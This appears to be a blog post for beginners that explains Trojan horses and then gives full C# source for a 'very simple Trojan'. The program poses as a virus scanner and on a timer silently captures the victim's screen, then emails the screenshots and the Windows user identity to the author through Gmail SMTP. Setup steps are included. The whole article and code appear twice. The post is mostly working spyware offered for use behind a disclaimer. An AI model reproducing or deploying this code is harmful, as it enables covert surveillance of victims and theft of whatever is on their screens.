This articles mainly concentrated for only beginners
what is a Trojan ?
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.
Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.
Common features of Trojan Programs :
• Capturing screenshots of your computer.
• Recording key strokes and sending files to the hacker
• Giving full Access to all your drives and files.
• Ability to use your computer to do other hacking related activities.
this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.
first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email
C# Code for very simple Trojan.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;
namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();
}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;
case 24:
pFormat = PixelFormat.Format24bppRgb;
break;
case 32:
pFormat = PixelFormat.Format32bppArgb;
break;
default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}
return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}
Disclaimer
I am not responsible if some of you maid anything wrong with this content. Thanks
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.
Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.
Common features of Trojan Programs :
• Capturing screenshots of your computer.
• Recording key strokes and sending files to the hacker
• Giving full Access to all your drives and files.
• Ability to use your computer to do other hacking related activities.
this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.
first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email
C# Code for very simple Trojan.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;
namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();
}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;
case 24:
pFormat = PixelFormat.Format24bppRgb;
break;
case 32:
pFormat = PixelFormat.Format32bppArgb;
break;
default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}
return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}
Disclaimer
I am not responsible if some of you maid anything wrong with this content. Thanks


0 comments:
Post a Comment
Note: only a member of this blog may post a comment.